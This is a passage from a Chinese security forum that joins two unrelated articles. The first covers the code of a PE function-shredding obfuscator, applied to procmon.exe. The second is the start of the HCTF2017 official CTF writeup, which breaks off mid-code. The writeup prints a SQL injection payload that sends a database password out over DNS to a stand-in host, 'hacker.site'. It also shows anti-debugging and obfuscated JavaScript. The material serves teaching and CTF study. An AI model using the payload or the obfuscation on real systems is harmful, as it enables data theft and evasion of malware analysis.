* 基本思路是从pe文件入口点开始使用上面的算法启发式分析，遇到函数调用就把调用目地地址加入待分析集合，重复以此
**部分代码如下** ：
/***
* 指令流节点
*/
typedef struct _Instr_Flow_Node
{
bool isJmpDown;//是否向下跳
DWORD64 jmpRange;//跳转范围大小
ud_mnemonic_code type;//指令类型
ud_type operatorType;// 操作数类型 1.跳转立即数 2.寄存器 3.内存地址
bool isJcc = false;//是否是jcc类型的指令
bool isCall = false;//是否是Call类型的指令
DWORD64 loadImageAddress;//当前指令虚拟内存
DWORD64 memoryFileAddress;//当前指令文件内存
DWORD64 jmpLoadImageAddress;//跳转目的地虚拟内存
DWORD64 jmpMemoryFileAddress;//跳转目的地文件内存
DWORD insnLen;//指令长度
//jcc立即数跳转类型的跳转偏移量
struct
{
union
{
int8_t sbyte;
int16_t sword;
int32_t sdword;
};
} jmpOffset;
bool operator < (const _Instr_Flow_Node & node) const
{
return this->memoryFileAddress < node.memoryFileAddress; // < 升序
}
bool isInvalid()
{
return this->type == UD_Iinvalid;
}
} InstrFlowNode;
FunctionNode X86Analysis::AnalysisFunction(DWORD64 begin, DWORD bufferSize, map<DWORD64, FunctionNode>* functionMap, map<DWORD64, FunctionNode>* excludeMap, DWORD64 pc)
{
ud_t ud;
ud_init(&ud);
ud_set_mode(&ud, 32);
ud_set_syntax(&ud, UD_SYN_INTEL);
ud_set_input_buffer(&ud, (uint8_t*)begin, bufferSize);
ud_set_pc(&ud, pc);
InstrFlowNode jcc_max, jcc_flow;
memset(&jcc_max, 0, sizeof(jcc_max));
while (ud_disassemble(&ud))
{
jcc_flow = GetInstrNode(&ud);
if (jcc_flow.isInvalid())
{
//遇到无效指令(可能花指令)，则停止分析该函数，返回前面分析完成的部分,可能函数长度为0
FunctionNode function;
function.memoryFileAddress = begin;
function.loadImageAddress = pc;
function.size = begin - (jcc_flow.memoryFileAddress - jcc_flow.insnLen);
return function;
}
if (jcc_flow.isJcc && (jcc_flow.operatorType == UD_OP_JIMM))
{
if (jcc_flow.jmpMemoryFileAddress > jcc_max.jmpMemoryFileAddress)
{
//记录CFG流图中跳转目标地址最大的跳转指令
jcc_max = jcc_flow;
}
}
switch (jcc_flow.type)
{
case UD_Ijmp:
{
//如果无条件跳转目标地址小于函数起始或者当前跳转指令是函数第一条指令则视为结束
//并把目标地址加入预分析函数节点
if (jcc_flow.operatorType == UD_OP_JIMM)
{
if ((jcc_flow.jmpMemoryFileAddress < begin) || (jcc_flow.memoryFileAddress == begin))
{
if (functionMap != nullptr)
{
//如果排除map中不存在已经分析过的函数则插入节点
if ((excludeMap != nullptr) && (!excludeMap->empty()))
{
if (excludeMap->find(jcc_flow.jmpMemoryFileAddress) == excludeMap->end())
{
FunctionNode node(jcc_flow.jmpMemoryFileAddress, jcc_flow.jmpLoadImageAddress);
functionMap->operator[](node.memoryFileAddress) = node;
}
}
else
{
FunctionNode node(jcc_flow.jmpMemoryFileAddress, jcc_flow.jmpLoadImageAddress);
functionMap->operator[](node.memoryFileAddress) = node;
}
}
return FunctionNode
(
begin,
pc,
jcc_flow.memoryFileAddress + jcc_flow.insnLen - begin
);
}
}
break;
}
case UD_Icall:
{
if (functionMap != nullptr)
{
if (jcc_flow.operatorType == UD_OP_JIMM)
{
if ((excludeMap != nullptr) && (!excludeMap->empty()))
{
//如果排除map中不存在已经分析过的函数则插入节点
if (excludeMap->find(jcc_flow.jmpMemoryFileAddress) == excludeMap->end())
{
//4字节立即数call
FunctionNode node(jcc_flow.jmpMemoryFileAddress, jcc_flow.jmpLoadImageAddress);
functionMap->operator[](node.memoryFileAddress) = node;
}
}
else
{
//4字节立即数call
FunctionNode node(jcc_flow.jmpMemoryFileAddress, jcc_flow.jmpLoadImageAddress);
functionMap->operator[](node.memoryFileAddress) = node;
}
}
}
break;
}
case UD_Iret:
{
if (jcc_max.jmpMemoryFileAddress > jcc_flow.memoryFileAddress)
{
//ret之后还有CFG流
DWORD skip_bytes = jcc_max.jmpLoadImageAddress - ud.pc;
ud_input_skip(&ud, skip_bytes);
ud_set_pc(&ud, jcc_max.jmpLoadImageAddress);
}
else
{
return FunctionNode
(
begin,
pc,
jcc_flow.memoryFileAddress + jcc_flow.insnLen - begin
);
}
break;
}
case UD_Inop:
case UD_Iint3:
{
if (ud_insn_mnemonic(&ud) == UD_Iint3)
{
//必须至少出现连续两个CC指令才说明识别到函数末尾
if (*((ud_insn_ptr(&ud) + 1)) != 0xCC)
{
break;
}
}
return FunctionNode
(
begin,
pc,
jcc_flow.memoryFileAddress - begin
);
}
case UD_Iadd:
{
if (!memcmp(ud_insn_hex(&ud), "0000", 4))
{
return FunctionNode
(
begin,
pc,
jcc_flow.memoryFileAddress - begin
);
}
break;
}
default:
{
}
}
//如果接下来的代码是函数的开始特征
DWORD64 ptr = jcc_flow.memoryFileAddress + jcc_flow.insnLen;
if (LookNextBegin(ptr))
{
//如果排除map中不存在已经分析过的函数则插入节点
if ((excludeMap != nullptr) && (!excludeMap->empty()))
{
if (excludeMap->find(ptr) == excludeMap->end())
{
FunctionNode node(ptr, jcc_flow.loadImageAddress + jcc_flow.insnLen);
functionMap->operator[](ptr) = node;
}
}
else
{
FunctionNode node(ptr, jcc_flow.loadImageAddress + jcc_flow.insnLen);
functionMap->operator[](ptr) = node;
}
return FunctionNode
(
begin,
pc,
jcc_flow.memoryFileAddress + jcc_flow.insnLen - begin
);
}
}
return FunctionNode
(
begin,
pc,
bufferSize
);
}
分析procmon.exe的winmain函数和IDA对比的效果如图
根据IDA的识别计算一下函数大小 **0x0045E6B4-0x0045D840=3700** ，和自己程序的识别结果一致
* * *
# 函数粉碎
有了上面得到的信息就能进行粉碎了，用前面讲的方法将函数进行混淆得到新的代码块，
再 **找到reloc段的前面一个段** ， **向下合并reloc段** ， **创建一个新的text段** ，把混淆代码放进去，
最后 **在新text段后面创建reloc段** ，修复重定位信息。
**混淆之前必须先扫描记录当前函数的所有重定位信息** ，混淆过程中将原始重定位信息和新的重定位信息联系在一起，以便后面进行重定位修复。
**部分代码实现：**
char* x86PEObfuscate::BrokenFunction(FunctionNode function,DWORD *obfucodeSize, vector<RelocFixer> &relocFixBox,DWORD64 VirtulAddress)
{
//解析指令流
vector<InstrFlowNode> instrbox = this->m_Analysis.InstrExtract(function.memoryFileAddress, function.size, function.loadImageAddress);
if (instrbox.empty())
{
return nullptr;
}
//获取PE重定位表
map<DWORD, vector<WORD>> relocTable;
vector<RelocInstr>relocInstrBox;
bool hasReloc = this->m_pefile.getRelocTable(relocTable);
if (hasReloc)
{
//得到指令集合中的重定位信息
checkReloc(instrbox, relocTable, relocInstrBox);
}
class ObfuscateInstr
{
public:
ObfuscateInstr() {};
ObfuscateInstr(const ObfuscateInstr&o)
{
this->memoryAddress = o.memoryAddress;
this->virtulAddress = o.virtulAddress;
this->prexCodeSize = o.prexCodeSize;
this->size = o.size;
this->code = new char[this->size];
memcpy(this->code, o.code, this->size);
}
~ObfuscateInstr()
{
if (code != nullptr)
{
delete[] code;
}
}
//该混淆指令块被随机分配到内存中的地址，以便后面指令修复寻找地址
//随机方式将chunkbox集合中的指令块分配到内存
//修复的时候顺序遍历chunkbox集合，根据相邻元素的memoryAddress链接相邻的指令块
//遍历chunkbox的时候根据下标找到instrbox中的原始指令元素，判断当前是否是jcc指令
//是则根据以原始指令内存地址为key，在orign_chunk_map中找到目标指令块地址，计算修复当前指令
DWORD64 memoryAddress = 0;// 该混淆块被写入新空间的地址
DWORD64 virtulAddress = 0;// 该混淆块的 VA
DWORD prexCodeSize = 0; //混淆块中原始功能指令前面的指令长度=原始功能指令在该指令块的偏移
char *code = nullptr;//混淆块
DWORD size = 0;
};
//对每条指令预进行预处理混淆
vector<ObfuscateInstr> chunkbox;
x86::Gp registers[] = { x86::eax,x86::ebx,x86::ecx,x86::edx,x86::esi,x86::edi };
bool first = true; //true 代表处理指令流的第一条指令 pop reg
int index;
for (auto instr : instrbox)
{
CodeHolder code;
code.init(CodeInfo(ArchInfo::kIdX86));
x86::Assembler assember(&code);
//原始功能指令前面
if (!first)
{
assember.pop(registers[index]);
assember.popfd();//保护标志位
}
else
{
first = false;
}
DWORD prexCodeSize = code.sectionById(0)->buffer().size(); //前缀指令的长度
//处理原始功能指令
int insn_len;
if ((instr.isJcc||instr.isCall)&&(instr.operatorType == UD_OP_JIMM))
{
char *new_jcc = new char[6];
DWORD jcc_padding = 0xAAAAAAAA;//jcc跳转偏移填充
WORD jcc_opcode = this->jcc_long_opcode[instr.type];
if ((instr.type == UD_Icall) || (instr.type == UD_Ijmp))
{
//如果原始指令是call或者jmp 这两种指令opcode和jx类指令的长度不一致 单独处理 0xE8 0xE9
memcpy(new_jcc, (char*)&jcc_opcode, 1);
memcpy(new_jcc + 1, &jcc_padding, 4);//0xAAAAAAAA占位，必须修复
insn_len = 5;
}
else
{
memcpy(new_jcc, (char*)&jcc_opcode, 2); //0F 80 ....
memcpy(new_jcc + 2, &jcc_padding, 4);//0xAAAAAAAA占位，必须修复
insn_len = 6;
}
assember.embed(new_jcc, insn_len);
delete[] new_jcc;
}
else
{
insn_len = instr.insnLen;
assember.embed((char*)instr.memoryFileAddress, instr.insnLen);// 目标指令 非jcc指令 直接写入内存
}
//原始功能指令后面
assember.pushfd();//保护标志位
index = this->GetRandomKey() % sizeof(registers) / sizeof(x86::Gp); //随机选择寄存器
assember.mov(x86::dword_ptr(x86::esp, -4), registers[index]);
assember.add(x86::esp, -4);
Label label = assember.newLabel();
assember.call(label);
assember.bind(label);
assember.pop(registers[index]);
int num = -(13 + prexCodeSize + insn_len);//12+1
assember.add(registers[index], num); //得到本混淆指令块开始地址
assember.add(registers[index], 0xdeadbeaf); //0xdeadbeaf占位，必须修复
assember.push(registers[index]);
assember.ret();
CodeBuffer& buffer = code.sectionById(0)->buffer();
ObfuscateInstr instrchunk;
instrchunk.code = new char[buffer.size()];
::memcpy(instrchunk.code, buffer.data(), buffer.size());
instrchunk.size = buffer.size();
instrchunk.prexCodeSize = prexCodeSize;
chunkbox.push_back(instrchunk);
}
//将指令块随机乱序分配到新空间
DWORD buffer_index = 0;
DWORD buffer_size = function.size * 100;
char * buffer = new char[buffer_size]; //申请100倍原始函数空间的大小
map<DWORD64, DWORD64> orign_chunk_map; //修复跳转指令 key是原始指令内存地址，value是被混淆过后的指令被随机分配后的地址
vector <int> indexTable; //chunkbox的索引表
for (int i = 0; i < chunkbox.size(); i++)
{
indexTable.push_back(i);//保存chunkbox的索引表
}
while (!indexTable.empty())
{
//随机选择指令块到新内存
int key = this->GetRandomKey() % indexTable.size();
int index = indexTable[key];
memcpy(buffer + buffer_index, chunkbox[index].code, chunkbox[index].size);
DWORD64 addr = (DWORD64)buffer + buffer_index;
DWORD64 va = VirtulAddress + (addr - (DWORD64)buffer);
chunkbox[index].memoryAddress = addr; //随机放置的地址
chunkbox[index].virtulAddress = va; //该指令块的va
orign_chunk_map.insert(pair<DWORD64, DWORD64>(instrbox[index].memoryFileAddress, addr));
buffer_index += chunkbox[index].size;
//随机产生5-20字节垃圾数据
int junk_size = this->GetRandomKey() % 16 + 6;
this->GetRandomBytes(buffer + buffer_index, junk_size);
buffer_index += junk_size;
//从tmpchunk中删除当前指令元素
auto iter = indexTable.begin();
iter += key;
indexTable.erase(iter);
}
//修复指令间执行顺序和jcc跳转目的地址 注意最后一条指令的处理
DWORD offset_flag = 0xdeadbeaf;
DWORD jcc_flag = 0xAAAAAAAA;
for (int i = 0; i < chunkbox.size(); i++)
{
char *begin = (char*)chunkbox[i].memoryAddress;
char *end = (char*)chunkbox[i].memoryAddress + chunkbox[i].size;
DWORD offset;
if (i < chunkbox.size() - 1)
{
offset = chunkbox[i + 1].memoryAddress - chunkbox[i].memoryAddress;
}
else
{
//如果是函数最后一条指令,则随机跳到前面任意一条原始指令混淆之后的块(不会执行)
int k = this->GetRandomKey() % (chunkbox.size() - 1);
offset = chunkbox[k].memoryAddress - chunkbox[i].memoryAddress;
}
//修复相邻指令执行顺序
char* ptr = this->SearchBytes(begin, end, (char*)&offset_flag, sizeof(DWORD));
memcpy(ptr, &offset, 4);
if ((instrbox[i].isJcc|| instrbox[i].isCall) && (instrbox[i].operatorType == UD_OP_JIMM))
{
//修复jcc指令跳转偏移
char* ptr = this->SearchBytes(begin, end, (char*)&jcc_flag, sizeof(DWORD));
DWORD64 addr = 0;
if ((instrbox[i].type == UD_Icall)||(orign_chunk_map.count(instrbox[i].jmpMemoryFileAddress)<=0))
{
//混淆是以函数为单位
//如果当前指令是call或者“伪call”(某种jmp)，或者map中没有跳转目的指令的记录
//总的来说，也就是说明当前指令的目的地址不在本函数空间中
//这里不完善（其实也不用处理畸形程序）
//jmpLoadImageAddress是加载地址，可能会因为地址随机化而改变
//但是相对va地址不会变
//chunkbox[i].memoryAddress=begin - (DWORD64)buffer是该指令块相对于起始块的偏移
//加上VirtulAddress就是加载地址va
addr = instrbox[i].jmpLoadImageAddress;
DWORD64 va = VirtulAddress + ((DWORD64)begin + chunkbox[i].prexCodeSize - (DWORD64)buffer);
offset = addr - va - 5;//e9:jmp imm e8:call imm 指令长度是5
}
else
{
addr = orign_chunk_map[instrbox[i].jmpMemoryFileAddress] + chunkbox[i].prexCodeSize;
if (instrbox[i].type == UD_Ijmp) //e9:jmp imm e8:call imm 指令长度是5
{
offset = addr - ((DWORD64)begin + chunkbox[i].prexCodeSize) - 5;//目标-当前-当前指令长度
}
else
{
offset = addr - ((DWORD64)begin + chunkbox[i].prexCodeSize) - 6;//目标-当前-当前指令长度
}
}
memcpy(ptr, &offset, 4);
}
}
//保存新的重定位项
for (auto relocInstr : relocInstrBox)
{
DWORD index = relocInstr.index;
DWORD64 relocVa = chunkbox[index].virtulAddress + chunkbox[index].prexCodeSize + relocInstr.off;
DWORD rva = relocVa - this->m_pefile.getOptionHeader()->ImageBase;
DWORD orignRva = instrbox[index].loadImageAddress + relocInstr.off - this->m_pefile.getOptionHeader()->ImageBase;
WORD typeOffset = rva % 0x1000; //新的typeOffset
DWORD newPage = rva - typeOffset;
typeOffset |= ((WORD)(relocInstr.type << 12));
RelocFixer fixer;
fixer.orignRva = orignRva;
fixer.newPage = newPage;
fixer.typeOffset = typeOffset;
relocFixBox.push_back(fixer);
}
//修改原函数入口代码
//原始函数剩余空间填充代码
char *begin = (char*)function.memoryFileAddress;
char opcode[] = { 0xe9,00,00,00,00,0xc3 }; //jmp imm
DWORD64 firstCodeVa = VirtulAddress + (chunkbox[0].memoryAddress - (DWORD64)buffer);//代码块的首指令va
DWORD jmpoffset = firstCodeVa - function.loadImageAddress - 5;
memcpy(opcode + 1, &jmpoffset, 4);
memcpy(begin, opcode, 6);
begin += 6;
this->GetRandomBytes(begin, function.size - 6);
char *obfucode = new char[buffer_index];
memcpy(obfucode, buffer, buffer_index);
*obfucodeSize = buffer_index;
delete[] buffer;
return obfucode;
}
对procmon.exe的winmain函数进行粉碎生成procmon2.exe
procmon2.exe正常运行
**混淆前:**
**混淆后:**
原理很简单，只实现了乱序粉碎的功能，而且是很简单的 **函数粉碎** ，只作为 **学习的一个玩具demo** 参考
**代码变形，常量隐藏，导入表加密等等功能都没有加入** 。 **没什么技术含量** ，代码很垃圾， **大佬轻喷**
发个demo bin玩玩，把Obfuscater.exe和procmon.exe放在同一目录，运行即可生procmon.obf.exe
Obfuscater.exe处理的exe和函数我都写死了，想用的大佬可以 **自行逆向patch** 一下 | 社区文章 |
### 前言
HCTF2017
Quals在11月12日正式落下帷幕了，我们很高兴HCTF的不断进步被人们看在眼里，HCTF2017第一次登陆CTFTIME，`参加比赛并获得分数的队伍超过540只`。
从HCTF创办以来，HCTF一直践行着做更好更棒的CTF比赛的准则，从2015年的反作弊系统、全新的比赛机制，到2016年的动态积分制，HCTF一直在努力将CTF变得更像一个hack
game！
今年我们第一次引入了分方向的闯关机制，将比赛题目分为 bin、web和 extra 三个大类，每一大类有五关，只有满足每关的开放条件，才能开放该关。
尽管规则导致的结果不竟如人意，但我们仍然进步，HCTF仍在变得更好。
按照传统，所有题目的源码如下
<https://github.com/vidar-team/HCTF2017>
下面放上所有官方Writeup
# Web
## level1
### easy_sign_in
这个题目真的真的非常简单，连提示都非常的明显就是去查看证书的内容。 从证书中我们可以得到一条flag in: 123.206.81.217
或许有些浏览器显示的位置不一定是这样. 打开123.206.81.217 就可以看到 flag: hctf{s00000_e4sy_sign_in}
## level2
### boring website
首先扫目录发现有www.zip,下载并打开发现是源码
<?php
echo "Bob received a mission to write a login system on someone else's serve
r, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare
|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: O
n linkname:mysql
$stmt = $conn->query( $query );
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>
发现应该是`sql
server`用`linkserver`来连接`mysql`。所以去查了一波`linkserver`的用法，以及结合注释可得`select * from
openquery(mysql,'select
xxx')`可以从mysql数据库中查得信息，但是没有回显，sleep函数也被ban了，然后看到`oob`的提示，去查了一波`mysql out-of-band`，发现`load_file`函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。
最终的payload: `/?id=1 union select * from openquery(mysql,'select
load_file(concat("\\\\",(select password from
secret),".hacker.site\\a.txt"))')`
dnslog 平台可以自己搭也可以用ceye
[mysql out of band](http://www.mottoin.com/96463.html)
### babycrack
babycrack
Description
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Now Score 302.93
Team solved 45
还是很抱歉题目的验证逻辑还是出现了不可逆推的问题，被迫在比赛中途加入4个hint来修复问题，下面我们来慢慢看看代码。
整个题目由反调试+代码混淆+逻辑混淆3部分组成，你可以说题目毫无意义完全为了出题而出题，但是这种代码确实最最真实的前端代码，现在许多站点都会选择使用反调试+混淆+一定程度的代码混淆来混淆部分前端代码。
出题思路主要有两篇文章：
<http://www.jianshu.com/p/9148d215c119>
<https://zhuanlan.zhihu.com/p/29214928>
整个题目主要是在我分析chrome拓展后门时候构思的，代码同样经过了很多重的混淆，让我们来一步步解释。
#### 反调试
第一部分是反调试，当在页面内使用F12来调试代码时，会卡死在debugger代码处。
这里举个例子就是蘑菇街的登陆验证代码。
具体代码是这样的
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));
美化一下
(function () {
(function a() {
try {
(function b(i) {
if (('' + (i / i)).length !== 1 || i % 20 === 0) {
(function () {}).constructor('debugger')()
} else {
debugger
}
b(++i)
})(0)
} catch (e) {
setTimeout(a, 5000)
}
})()
})();
这就是比较常见的反调试。我这里提供3种办法来解决这步。
1、使用node做代码调试。
由于这里的debugger检测的是浏览器的调试，如果直接对代码调试就不会触发这样的问题。
2、静态分析
因为题目中代码较少，我没办法把代码混入深层逻辑，导致代码可以纯静态分析。
3、patch debugger函数
由于debugger本身智慧触发一次，不会无限制的卡死调试器，这里会出现这种情况，主要是每5s轮询检查一次。那么我们就可以通过patch
settimeout函数来绕过。
window._setTimeout = window.setTimeout;
window.setTimeout = function () {};
这里可以用浏览器插件TamperMonkey解决问题。
除了卡死debug以外，我还加入了轮询刷新console的代码。
setInterval("window.console.log('Welcome to HCTF :>')", 50);
同样的办法可以解决，就不多说了。
#### 代码混淆
在去除掉这部分无用代码之后，我们接着想办法去除代码混淆。
这里最外层的代码混淆，我是通过<https://github.com/javascript-obfuscator/javascript-obfuscator>做了混淆。
ps:因为我在代码里加入了es6语法，市面上的很多工具都不支持es6语法，会导致去混淆的代码语法错误！
更有趣的是，这种混淆是不可逆的，所以我们只能通过逐渐去混淆的方式来美化代码。
我们可以先简单美化一下代码格式
(function (_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = _0x180a[_0x5c351c];
return _0x26f3b3;
};
function check(_0x5b7c0c) {
try {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
};
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [function (_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}];
_0x2d59cf = function () {
return _0xa180('0x2b');
};
_0x46da6f = 0x1;
};
while (_0x46da6f--)
if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
var _0x43c8d1 = function (_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = _0x2e2f8d[_0x3120e0];
return _0x3a882f;
};
var _0x1c3854 = function (_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[_0x43c8d1(0x8)]; _0x59c050++) {
_0x52b956 += _0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);
}
return _0x52b956;
};
var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
var _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0xa180('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0x43c8d1('1b')]('=');
(function () {
(function _0x3c3bd8() {
try {
(function _0x4dc510(_0x460a91) {
if (('' + _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
} else {
debugger;
}
_0x4dc510(++_0x460a91);
}(0x0));
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
}
}());
}());
return _0x4dc510[_0xa180('0x31')]('');
};
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ![];
}
f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8[0x0][_0x43c8d1(0x8)];
h = function (_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[_0x43c8d1(0x8)]; _0x2fbf7a++) {
_0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
}
return _0x3ea581;
};
j = _0x76e1e8[0x1][_0x43c8d1(0xe)]('3');
if (j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)] || (_0x1c3854(j[0x0]) ^ _0x1c3854(j[0x1])) != 0x1613) {
return ![];
}
k = _0xffcc52 => _0xffcc52[_0x43c8d1('f')]() * _0x76e1e8[0x1][_0x43c8d1(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
m = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25ab;
}
return _0x55b09f;
}
